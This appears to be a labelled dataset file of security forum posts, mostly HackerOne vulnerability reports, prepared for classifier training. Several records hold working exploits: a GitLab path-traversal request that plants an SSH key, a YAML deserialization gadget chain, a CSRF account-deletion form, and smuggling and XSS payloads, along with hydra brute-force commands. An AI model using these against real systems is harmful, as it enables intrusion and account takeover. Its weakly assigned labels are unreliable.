-{"id": "eb923f0267cc496557b9", "text": "[Information Disclosure] Insecure crossdomain.xml on https://vdc.mtnonline.com/\n\nHi,\n\nhttps://vdc.mtnonline.com/crossdomain.xml contains the following xml file:\n\n```\n\n<?xml version=\"1.0\"?>\n<!DOCTYPE cross-domain-policy SYSTEM \"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd\">\n\t<cross-domain-policy>    \n\t<site-control permitted-cross-domain-policies=\"all\"/>    \n\t<allow-access-from domain=\"*\"  secure=\"false\" to-ports=\"*\"/>\n\t<allow-http-request-headers-from domain=\"*\" headers=\"*\"/> \n\t</cross-domain-policy>\n\n```\n\n## Impact\n\nThis will make any one able to receive content from https://vdc.mtnonline.com/ , attacker can steal CSRF tokens and user PII.\n\nMore information about this issue is available here:\n\nhttps://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8\n\nBest regards,\nVishu10x00 ❤️", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9afcc5b08c0e088a0d4c", "text": "[OS Command Injection] DNS rebinding in --inspect via invalid octal IP address\n\n## Summary\nThe Node.js rebinding protector for --inspect still allows invalid IP address, specifically, the octal format.\nAn example of an octal IP address is 1.09.0.0, the 09 octet is invalid because 9 is not a number in the base 8 number system.\nBrowsers such as Firefox (tested on latest version m105) will still attempt to resolve this invalid octal address via DNS. When combined with an active --inspect session, such as when using VSCode, an attacker can perform DNS rebinding and execute arbitrary code\n\n## Steps To Reproduce:\n1. Add entry to /etc/hosts\n```````\n127.0.0.1       1.09.0.0\n```````\n2. Start `node --inspect`\n3. Visit http://1.09.0.0:9229/json on Firefox (tested on m105) \n4. JSON file shows. This proves Firefox is resolving 1.09.0.0 to 127.0.0.1 via DNS. Additionally, you may use Wireshark to see that Firefox is sending DNS requests to 1.09.0.0 (without the /etc/hosts entry of course!)\n\n## Impact\n\nBypass the DNS rebinding protection for --inspect and execute arbitrary code", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d33151ae19b92cf0725d", "text": "[Cross-Site Request Forgery (CSRF)] CSRF - Delete Account (Urgent)\n\n**Target Url**\nhttps://██████████/███/██████/█████████\n\n**Summary:**\nHello, I found a Cross Site Request Forgery bug in the target endpoint on the GET request `████` which is critical because it can delete authenticated user account whenever he navigates to the attacker website or link.\n\n## Step-by-step Reproduction Instructions\n\n1. Navigate to your account in `https://█████████/████/`\n2. Copy and paste the below code in an html file\n```\n<html>\n  <body>\n    <form action=\"https://████/████/███/\">\n      <input type=\"hidden\" name=\"action\" value=\"delete&#95;profile\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n```\n3. Open it in the browser, hit the button and your account will be deactivated.\n\n## Suggested Mitigation/Remediation Actions\nAdd a csrf-token in the header or in an hidden input to check if the user that is doing this action authorized or not.\n\n## Impact\n\nThis action is critical and sensitive. Attacker can upload this file to a url. Sends it to the victims. And when the authenticated victims navigate to the url their accounts will be deleted.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "badbdbc1e4ba1b3ca61b", "text": "[Privilege Escalation] subdomain takeover at odoo-staging.exness.io\n\n**Domain:**\n>https://odoo-staging.exness.io\n\n**PoC**\n>https://odoo-staging.exness.io\n\n**Cname:**\n```\n$ host odoo-staging.exness.io\nodoo-staging.exness.io is an alias for exness-stg.odoo.com.\nexness-stg.odoo.com has address 141.95.172.222\nexness-stg.odoo.com mail is handled by 10 eu123a.odoo.com.\n```\n\n## Impact\n\nScam, phishing", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b8a64515853373089580", "text": "[Cross-site Scripting (XSS) - Reflected] [██████] Reflected XSS via Keycloak on ██████\n\n**Description:**\nKeycloak 8.0 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks. A lack of proper input validation made it possible for an attacker to execute malicious JavaScript code on ████████ This reflected XSS would execute after making a POST request with an XSS payload in the path of the request. As a result, the server would directly insert the payload into the response, allowing the XSS to trigger on the page.\n\n## References\nhttps://cure53.de/pentest-report_keycloak.pdf\nhttps://hackerone.com/reports/87040\n\n## Impact\n\nIf successful, a cross site scripting attack can severely impact websites and web applications, damage their reputation and relationships with customers. XXS can deface websites, can result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user's device.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n█████\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Navigate visit URL https://████/\n1. Second step as long as I use recconaisetool I can find hidden directory path `403` / `200`\n1. Found directory on \"/auth/realms/master/clients-registrations/openid-connect\"\n1. I see this server used keycloack. and lets see the versions used `chrome-extentions`\n1. The server is vulnerable to (XSS) Keycloack `8.0`\n1. Intercept request to burp-suite and change `GET` Request to `POST` Request\n\nHere's the HTTP Parameter request that the issue:\n```\nPOST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1\nHost: █████\nSec-Ch-Ua: \nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\nContent-Type: application/json;charset=UTF-8\nContent-Length: 63\n\n{\"<img onerror=confirm('xss_poc_unexpectedbufferc0n') src/>\":1}\n```\nUsed the payloads is **`{\"<img onerror=confirm('xss_poc_unexpectedbufferc0n') src/>\":1}`** boom is executed / effected.\n\n█████████\n\n██████████\n\n## Suggested Mitigation/Remediation Actions\nIt is recommended not to have error messages rendering as HTML (i.e. having thecontent-type of  text/html), but to rather use plain-text (text/plain) instead. Additionally,HTML characters should be HTML-encoded in the response to prevent MIME-sniffingissues.\nhttps://cure53.de/pentest-report_keycloak.pdf", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42e2859942d6c776cd88", "text": "[SQL Injection] Ability to escape database transaction through SQL injection, leading to arbitrary code execution\n\nHackerOne has an internal backend interface that gives debugging capabilities to its engineers. One of the features is the ability to run `EXPLAIN ANALYZE` queries against a connected database. This feature is accessible by a handful of engineers. The feature is vulnerable to a SQL injection that allows an attacker to escape the transaction that is wrapped around the `EXPLAIN ANALYZE` query. This SQL injection can be leveraged to execute arbitrary ruby on an application server.\n\nThis vulnerability will be demonstrated against a local development environment.\n\n# Proof of concept\n- go to http://localhost:8080/support/sql_query_analyzer\n- analyze the following query using the `public` database connection:\n\n```sql\nSELECT\n        1\n;\n\nROLLBACK\n;\n\nINSERT\n    INTO\n        user_versions (\n            item_type\n            ,item_id\n            ,event\n            ,email\n            ,object\n        )\n    VALUES (\n        'User'\n        ,2\n        ,'update'\n        , 'uniquekeywordtotriggercode@hackerone.com'\n        ,'---\nusername:\n  - !ruby/object:Gem::Installer\n      i: x\n  - !ruby/object:Gem::SpecFetcher\n      i: y\n  - !ruby/object:Gem::Requirement\n    requirements:\n      !ruby/object:Gem::Package::TarReader\n      io: &1 !ruby/object:Net::BufferedIO\n        io: &1 !ruby/object:Gem::Package::TarReader::Entry\n            read: 0\n            header: \"abc\"\n        debug_output: &1 !ruby/object:Net::WriteAdapter\n            socket: &1 !ruby/object:Gem::RequestSet\n                sets: !ruby/object:Net::WriteAdapter\n                    socket: !ruby/module ''Kernel''\n                    method_id: :system\n                git_set: sleep 600\n            method_id: :resolve '\n    )\n;\n\n-- \n```\n- visit http://localhost:8080/support/historic_users?historic_user_input=uniquekeywordtotriggercode@hackerone.com and observe that the page will hang for 600 seconds and then result in a 500 internal server error, proving that it executes the `sleep 600` command in the injected object.\n\n# Root cause\nThe following Ruby code is used to execute the `EXPLAIN ANALYZE` query:\n\n```ruby\n# ...\nexplain_analyze = \"EXPLAIN (ANALYZE, COSTS, VERBOSE, BUFFERS, FORMAT JSON) #{raw_sql}\"\n\nbegin\n  conn.transaction(requires_new: true) do\n    block = proc do\n      analyze_result = conn.protected_attribute.with_parameters(params) do\n        conn.execute explain_analyze\n      end\n\n      fail ActiveRecord::Rollback\n    end\n\n    if config[:use_protected_schema]\n      ProtectedAttribute::SchemaUtility.with_requester(user) do\n        block.call\n      end\n    else\n      block.call\n    end\n# ...\n```\n\nThe code is written so that it would wrap each analyze query in a transaction. This avoids permanent side effects of running the query, because `EXPLAIN ANALYZE` will still execute the SQL query. The interpolation of the `raw_sql` variable can be used to escape the current transactions and make any changes persist. The following part is used to jump out of the transaction:\n\n```sql\nSELECT\n        1\n;\n\nROLLBACK\n;\n```\n\nThen, a payload is injected into a table called `user_versions` and a comment identifier (`-- `) is used to block the `ROLLBACK` statement that is appended by the `transaction` block. The `user_versions` table keeps a paper trail of changes on `User` objects. For example, when someone changes their username, the application keeps a snapshot of the previous object in the `user_versions` table. HackerOne uses a gem called [paper_trail](https://github.com/paper-trail-gem/paper_trail) for this. This gem comes with a useful function to reinstantiate an old version of an object, called `reify`. When this method is called, the YAML from the `object` attribute is deseriealized and is used to initialize the class stored in the `item_type` column. This method inherently trusts the object stored in `object` however. Because the attacker can persist a new version, it can control the object that would be deserialized. In the past, multiple YAML deserialization technique", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4a4ec7c1397c1d2c5312", "text": "[Command Injection - Generic] Path traversal, to RCE\n\n### Summary\nThis one is similar to #732330 but much simpler.\nA path traversal issue in GitLab package registry API allow an attacker to write any file at any location writable to user git in a GitLab server.\n\n### Steps to reproduce\n\n1. Enable package registry in your GitLab instance.\n2. Create a project (package registry is enabled by default)\n3. Create a private token to call the API\n4. Send the following request\n\n```\ncurl -H \"Private-Token: $(cat token)\" http://10.26.0.5/api/v4/projects/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as-is --data-binary @/home/asakawa/.ssh/id_rsa.pub\n```\nThen run `ssh git@10.26.0.5` to enjoy a shell.\n\n### Examples\n\n{F630231}\n\nIn my setup, I did't expose the 22 port of GitLab docker container, so I logged in the server with its docker IP, 172.18.0.2. In case there's any misunderstandings.\n\n#### Results of GitLab environment info\n\n```\n$ gitlab-rake gitlab:env:info\n\nSystem information\nSystem:\t\t\nProxy:\t\tno\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.6.3p62\nGem Version:\t2.7.9\nBundler Version:1.17.3\nRake Version:\t12.3.3\nRedis Version:\t3.2.12\nGit Version:\t2.22.0\nSidekiq Version:5.2.7\nGo Version:\tunknown\n\nGitLab information\nVersion:\t12.4.2-ee\nRevision:\ta3170599aa2\nDirectory:\t/opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:\tPostgreSQL\nDB Version:\t10.9\nURL:\t\thttp://10.26.0.5\nHTTP Clone URL:\thttp://10.26.0.5/some-group/some-project.git\nSSH Clone URL:\tgit@10.26.0.5:some-group/some-project.git\nElasticsearch:\tno\nGeo:\t\tno\nUsing LDAP:\tno\nUsing Omniauth:\tyes\nOmniauth Providers: \n\nGitLab Shell\nVersion:\t10.2.0\nRepository storage paths:\n- default: \t/var/opt/gitlab/git-data/repositories\nGitLab Shell path:\t\t/opt/gitlab/embedded/service/gitlab-shell\nGit:\t\t/opt/gitlab/embedded/bin/git\n```\n\n```\n# my docker-compose.yml\nversion: '3'\nservices:\n  web:\n    image: 'gitlab/gitlab-ee:latest'\n    restart: always\n    hostname: 'localhost'\n    environment:\n      GITLAB_OMNIBUS_CONFIG: |\n        external_url 'http://10.26.0.5'\n        gitlab_rails['packages_enabled'] = true\n    ports:\n      - '10.26.0.5:80:80'\n  #    - '10.26.0.5:22:22'\n    volumes:\n      - './config:/etc/gitlab'\n      - './logs:/var/log/gitlab'\n      - './data:/var/opt/gitlab'\n      - ./crack/pub.pem:/opt/gitlab/embedded/service/gitlab-rails/.license_encryption_key.pub:ro\n```\nPlease forgive me to use a crack on my self hosted testing purpose GitLab EE instance :)\n\n## Impact\n\nThis path traversal issue could be easily exploited by overwriting some critical files related to server access. In my example I use authorized_keys of git user to enable the shell access for the attacker.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c24970e5be1b2a49e696", "text": "[HTTP Request Smuggling] HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding\n\n**Summary:** \nThe `llhttp` parser in the `http` module in Node v17.6.0 does not correctly handle multi-line `Transfer-Encoding` headers. This can lead to HTTP Request Smuggling (HRS).\n\n**Description:**\nWhen  Node receives the following request:\n\n```http\nGET / HTTP/1.1\nTransfer-Encoding: chunked\n , identity\n\n1\na\n0\n\n\n```\n\nit processes the final encoding as `chunked`. Relevant code [here](https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L483).\n\nSince Node accepts multi-line header values (defined as `obs-fold` in [RFC7230](https://datatracker.ietf.org/doc/html/rfc7230), the `Transfer-Encoding` header is actually `chunked , identity`. An upstream proxy that correctly implements multi-line header values will therefore process the final encoding as `identity` instead. This could lead to request smuggling as an `identity` header indicates that the body length is 0 - the upstream proxy and Node will disagree on where a request ends.\n\nThe current behaviour is in violation of RFC7230 section 3.2.4, which states:\n\n```\nA server that receives an obs-fold in a request message that is not\nwithin a message/http container MUST either reject the message by\nsending a 400 (Bad Request), preferably with a representation\nexplaining that obsolete line folding is unacceptable, or replace\neach received obs-fold with one or more SP octets prior to\ninterpreting the field value or forwarding the message downstream.\n```\n\nWhile Node correctly replaces each received `obs-fold` with SP octets, in the case of the `Transfer-Encoding` header it does not do so **prior to interpreting the field value**.\n\n**Note:** This could be seen as an incomplete fix to #1002188, though it is a slightly different issue. The fix for #1002188 processed subsequent `Transfer-Encoding` headers, only setting the `chunked` encoding if the last `Transfer-Encoding` header is `chunked`. This should be extended to check for subsequent lines of the same `Transfer-Encoding` header.\n\n## Steps To Reproduce:\n\n**Testing Server**\n\nRun the following server (`node server.js`):\n\n```javascript\nconst http = require('http');\n\nhttp.createServer((request, response) => {\n   let body = [];\n   request.on('error', (err) => {\n   response.end(\"error while reading body: \" + err)\n   }).on('data', (chunk) => {\n      body.push(chunk);\n   }).on('end', () => {\n   body = Buffer.concat(body).toString();\n   \n   response.on('error', (err) => {\n      response.end(\"error while sending response: \" + err)\n   });\n\n   response.end(JSON.stringify({\n         \"Headers\": request.headers,\n         \"Length\": body.length,\n         \"Body\": body,\n      }) + \"\\n\");\n   });\n}).listen(80);\n```\n\n**Payload**\n\n```bash\nprintf \"GET / HTTP/1.1\\r\\n\"\\\n\"Transfer-Encoding: chunked\\r\\n\"\\\n\" , identity\\r\\n\"\\\n\"\\r\\n\"\\\n\"1\\r\\n\"\\\n\"a\\r\\n\"\\\n\"0\\r\\n\"\\\n\"\\r\\n\" | nc localhost 80\n```\n\n**Output**\n\n```http\nHTTP/1.1 200 OK\nDate: Sun, 06 Mar 2022 03:34:05 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 77\n\n{\"Headers\":{\"transfer-encoding\":\"chunked , identity\"},\"Length\":1,\"Body\":\"a\"}\n```\n\nThis shows the invalid parsing of the `Transfer-Encoding` header.\n\n**Note:** In the case of #1002188, the following payload demonstrates the same scenario (except a duplicate `Transfer-Encoding` header is replaced with a multi-line one)\n\n```http\nPOST / HTTP/1.1\nHost: 127.0.0.1\nTransfer-Encoding: chunked\n , chunked-false\n\n1\nA\n0\n\nGET /flag HTTP/1.1\nHost: 127.0.0.1\nfoo: x\n\n\n```\n\n## Supporting Material/References:\n\nPayloads and outputs:\n{F1644164}\n{F1644165}\n\nServer code:\n{F1644163}\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bb772efabcf6bde00cac", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] HTML INJECTION  (STORED)\n\nHi team!\n\nI found a way to inject arbitrary html which is also persistent or stored.\nUnfortunately I could not execute javascript code, however I think that being stored html it is important to take a look, attackers could use this vulnerability for phishing attacks for example.\n\n###PoC\n\nhttps://judge.me/profile/y5YJe35X\n\nYou can see in the product description how I can add various html elements.\n\n###To reproduce this:\n\nIn your profile judge.me go to \"my public profile\" then my recommendations, now add some html tags in description and then press \"add recommendation\"\n\n\n{F1366217}\n\n## Impact\n\nAttackers can use this vulnerability to carry out phishing attacks. It is important to mention again that the stored html code has more impact, the victim does not need user interaction as in the case of the reflected xss.\nAlso, an attacker could generate good ratings and fake reviews by using html about your product to build trust.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4fea7d196c221e933251", "text": "What is best way to deploy Sharphound-Bloodhound in multiple forest environments using one-way trusts?\n\nVery new to bloodhound/sharphound and have this deployment question: what is the best way to deploy bloodhound and sharphound to maximize info collection and also minimize deployment complexity in multiple forest/multiple domain AD environments built using one-way trusts between the forests. There are 9 forests involved configured in an “environment”/“security enclave” design construct where the environments have a protection scheme relationship of most trusted, next trusted, least trusted and then within each of these 3 “environments” the “security enclaves” (which are also forests) have a similar construct of most trusted to next trusted to least trusted. So e.g. if Sharphound were deployed in the most trusted environment forest and that environment’s most trusted enclave, is there a way for that Sharphound to see everything across all the 9 forests?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-01-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d23ebcd156b74253d92d", "text": "Hello mates, I’ve just finish the “ Skills Assessment - Service Login ” from the Login Brute Forcing module. As advice for the last exercise: Read carefully what is written in the question: As you now have the name of an employee, try to gather basic information about them, and generate a custom password wordlist that meets the password policy. As you already know the employee name ** Create a custom username and password list Don’t forget to use sed to remove passwords: ** Shorter Than 8 ** With No Special Chars ** With No Numbers Use the correct syntax: ** hydra -L user.txt -P password.txt -u -f ssh://SERVER_IP:PORT -t 4 When you’ve got access to the ssh, then try to brute force the second user that can be found at /home/username hydra -l username -P rockyou-30.txt -u -f ftp://127.0.0.1 -t 4 And finally when you brute force the password, you can login with ssh user@IPADDRESS -p PORT and read the flag.txt from the home directory of the user.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c623bf7cf847f6c35a8f", "text": "Issue while installing virtual box\n\nHi everyone, I m working under Blach Arch distribution and facing an issue during the server start. Actually, I executed the bellow commands : sudo pacman -S virtualbox virtualbox-guest-iso sudo gpasswd -a $USER vboxusers sudo modprobe vboxdrv yay -Syy yay -S virtualbox-ext-oracle sudo systemctl enable vboxweb.service But I get an error after executing the bellow command : sudo systemctl start vboxweb.service Error: Job for vboxweb.service failed because the control process exited with error code. See “systemctl status vboxweb.service” and “journalctl -xeu vboxweb.service” for details. Could you please tell me if it’s the right way to do? if yes, could you please help on this faced issue? Many thanks for your help. Regards,", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dac30430047e4c6f2cfb", "text": "[Information Exposure Through Directory Listing] speedtest.8x8.com: Enabled Directory Listing\n\nDirectory listing can be found at 2 of `8x8.com` subdomains:-\n- https://speedtest.8x8.com\n- https://speedtest-uswest1.8x8.com\n\n## Impact\n\nAn attacker can see the whole directory structure of a particular directory, which can reveal sensitive information.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b244251220554a99ec86", "text": "[Misconfiguration] Create miscellaneous support ticket on anyone's account through support@hackerone.com email\n\n**Summary:**\nI hope you're well,\nHackerone recently changed from Zendesk to Freshdesk , that introduced this vulnerability , This asset is not in scope but the reason I'm reporting this because of the severity of this vulnerability as this can cause high impact on integrity of support desk.\n\n**Description:**\nThis vulnerability is similar to my previous finding [on Dropbox program](https://infosecwriteups.com/mail-server-misconfiguration-leads-to-sending-a-fax-from-anyones-account-on-hellofax-dropbox-bbp-aab3d97ab4e7?source=user_profile---------0----------------------------]) , So when we create a support ticket by sending email to support@hackerone.com then it creates a support ticket on Hackerone Support portal on Victim's support center account , I found that we can create support ticket on anyone's  by sending a fake email to support@hackerone.com , by putting victim's email in `FROM` field. This would create a support ticket on victim's account , attacker can use this to create miscellaneous tickets on anyone's account or they can create ticket on behalf of **Hackerone** staff. You can check the ticket (441828) , I created this ticket by sending a fake email.\nWe can use any fake emailer service for e.g https://emkei.cz/\n\n### Steps To Reproduce\n\n1. Go to https://emkei.cz/\n2. Put victim's email in `From E-mail:\t` field and support@hackerone.com in `To:` field\n3. Enter anything in name , content , subject and click Send\n\n██████\n\n* Now a ticket would be created on behalf of victim\n\n## Impact\n\n* Using this bug an attacker can create miscellaneous tickets on behalf of victim or create unnecessary noise on victim's support desk account\n* Attacker can create internal ticket on behalf of HackerOne employees\n\nBest Regards\n**Sayaan Alam**", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f56816d6865c22823734", "text": "LOL thank you so much … ■■■■! I think that HTB should have made that more clear … unless I overlooked something, I don’t think there is a very clear cut order to use the Wireshark-lab-2.zip", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ecc4b4bb89b623a42d30", "text": "[Server-Side Request Forgery (SSRF)] SSRF - pivoting in the private LAN\n\nThe upload from remote servers features allows me to perform SSRF attack on the private LAN servers.\n\nthis features checks the following\n* http response code needs to be 200 - easy, a non issue for attackers really\n* checks the file exension   (can be bypassed with something like  http://192.168.1.148/index.php/test.png  - anything after index.php/  is ignorred and I control the file extension as well)\n* some checks are performed on the IP, but any public and PRIVATE ips are allowed\n\nI can read web  apps from the internal network, fingerprint them and exploit them (using GET only exploits).\n\nThis is how I've managed to read an phpinfo file from my local LAN:\n\nhttp://192.168.1.157/info.php/test.html\n\nThe file is fetched, saved by the CMS locally (or S3) and then the output can be downloaded by the attacker as you can see in the attached screenshots.\n\nps: crayons\n\n## Impact\n\nAn attacker can pivot in the private LAN and exploit local network apps.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce78767ed8dd7fab765d", "text": "Hi everyone!!Been a little quiet for a while, but I’ve been grinding on this Red Team stuff, recently got an amazing certificate from HackTheBox on Red Team, and of course working on more! I haven’t forgotten about our beginner security engineers trying to jump on red teaming, so I’ve built the RedTeamNotes 2.0 for everyone to see, and understand how the red team techniques work at a very high level but now, what about setting up infrastructure from 0 to hero. Well I’ve taken care of that, and of course, all the tools utilized are open source as always, and do have fun learning and practicing. Don’t be afraid to reach out, maybe I misspelled or got something wrong.I will be updating the book more, more techniques, tips, and tricks.Please enjoy!dmcxblue.gitbook.ioRED TEAM INFRASTRUCTURE", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a5af9b61dd62ceb17607", "text": "[Heap Overflow] Buffer overflow in req_parsebody method in lua_request.c\n\nSoftware Versions\n-------------------\nUbuntu - 18.04 (32-bit)\nApache 2.4.51 (32-bit)\n\nDescription\n-------------\nThis bug is present in \"req_parsebody\" method of modules/lua/lua_request.c file.\nBelow mentioned lines of code cause this bug.\n\n```cpp\n  ...\n  size_t  vlen = 0;\n  ...\n  ...\n  vlen = end - crlf - 8;\n  buffer = (char *) apr_pcalloc(r->pool, vlen+1);\n  memcpy(buffer, crlf + 4, vlen);\n  ...\n```\n\nAbove code does not check whether the result of (end - crlf) is greater than or equal to 8.\nSo it is possible to make the result of (end - crlf - 8), negative.\nSending this HTTP request causes the result to be -1.\n   `curl -v -X POST -H 'content-type: multipart/form-data; boundary=-' --data-binary $'-\\r\\n\\r\\naaa-' http://127.0.0.1/test.lua`\n\nSince \"vlen\" is of type \"size_t\", -1 will become 4294967295. This is the maximum value of size_t data type in 32 bit systems.\nThen vlen+1 is passed to apr_pcalloc method.\nSo the actual size allocated is 0.\nSince the allocated buffer is too small there will be an overflow and crash in next memcpy statement.\n\nSteps to Reproduce\n--------------------\n1.  Build Apache web server with Lua module\n   ./configure --enable-lua=shared\n   make\n   make install \n\n2.  Enable Lua module with Apache web server.\n    Add these lines to httpd.conf file.\n ```\n   LoadModule lua_module modules/mod_lua.so\n   <Files \"*.lua\">\n    SetHandler lua-script\n   </Files>\n ```\n3. Copy attached F1555487 file to htdocs folder.\n\n4. Start Apache web server in debug single worker mode.\n   `./httpd -X -d /home/apache/install-directory/`\n\n5. Send this HTTP request with CURL.\n    `curl -v -X POST -H 'content-type: multipart/form-data; boundary=-' --data-binary $'-\\r\\n\\r\\naaa-' http://127.0.0.1/test.lua`\n    Apache web server will crash.\n\nValgrind Output\n----------------\nCommand: valgrind ./httpd -X -d /home/apache/install-directory/\n\n Invalid write of size 1\n at 0x483513B: memcpy (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)\n by 0x501355B: req_parsebody (lua_request.c:415)\n by 0x503628E: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x5041A1F: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x50365E5: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x5030D96: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x5035C1A: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x5036886: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x5032556: lua_pcallk (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x500D02B: lua_handler (mod_lua.c:323)\n by 0x15F9E4: ap_run_handler (config.c:169)\n by 0x16040C: ap_invoke_handler (config.c:443)\n Address 0x12aec000 is not stack'd, malloc'd or (recently) free'd\n\n Process terminating with default action of signal 11 (SIGSEGV)\n Access not within mapped region at address 0x12AEC000\n at 0x483513B: memcpy (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)\n by 0x501355B: req_parsebody (lua_request.c:415)\n by 0x503628E: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x5041A1F: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x50365E5: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\n by 0x5030D96: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\nby 0x5035C1A: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\nby 0x5036886: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\nby 0x5032556: lua_pcallk (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0)\nby 0x500D02B: lua_handler (mod_lua.c:323)\nby 0x15F9E4: ap_run_handler (config.c:169)\n by 0x16040C: ap_invoke_handler (config.c:443)\n\n## Impact\n\nMay be possible to use in a denial of service attack.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
